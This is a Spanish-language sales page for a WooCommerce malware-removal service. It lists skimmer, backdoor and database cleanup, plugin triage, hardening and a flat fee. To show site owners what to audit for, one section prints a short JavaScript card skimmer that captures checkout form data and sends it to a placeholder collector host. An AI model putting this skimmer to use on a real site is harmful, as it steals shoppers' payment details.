WooCommerce malware removal.

§ 01 — QUÉ SE HACE

Ambos lados del cable.

• [ LADO CLIENTE ]

  Card skimmers, overlays de formularios de pago, redirecciones condicionales, cryptojackers. JavaScript en el checkout auditado línea por línea.

• [ SERVICIOS ]

  Web shells, backdoors, payloads de RCE en plugins, usuarios admin inyectados. Eliminados leyendo diffs de archivos y diffs de DB, no por pattern-matching.

• [ AUDIT DB ]

  wp_options en busca de payloads autoloaded, wp_posts en busca de spam, wp_usermeta en busca de privilegios durmientes, tablas wp_woocommerce_* en busca de manipulación.

• [ TRIAGE DE PLUGINS ]

  Plugins activos revisados contra CVEs publicadas. Plugins vulnerables parcheados o reemplazados — no sólo desactivados.

• [ ENDURECIMIENTO ]

  wp-config, permisos, rotación de secretos, XML-RPC, REST API y reducción de la superficie de login.

• [ INFORME ]

  Informe forense en lenguaje claro: qué se encontró, cuándo se introdujo, qué se eliminó. Entrégalo a un comprador, una aseguradora o tu QSA.

§ 02 — CÓMO LUCE UN SKIMMER

Un script externo en el checkout. Suele ser eso.

Un skimmer de WooCommerce suele ser una única inclusión de JavaScript en la página de checkout que envía los campos del formulario del cliente a un host remoto antes de que WooCommerce envíe el pedido. El script es pequeño, la llamada de red parece un ping de analítica de terceros y el cliente no ve nada raro.

01 document.querySelector('form.checkout').addEventListener('submit', function (e) {
02   const data = new FormData(e.target);
03   fetch('https://collector.example/c', {
04     method: 'POST',
05     body: data,
06     mode: 'no-cors'
07   });
08 });

Los skimmers reales ofuscan el destino y sólo se activan cuando el total del carrito no es cero — pero la estructura es la misma. Audita cada JS del checkout, no sólo los que recuerdas haber instalado.

§ PRECIOS

Tarifa plana $279. Pago único. Por sitio.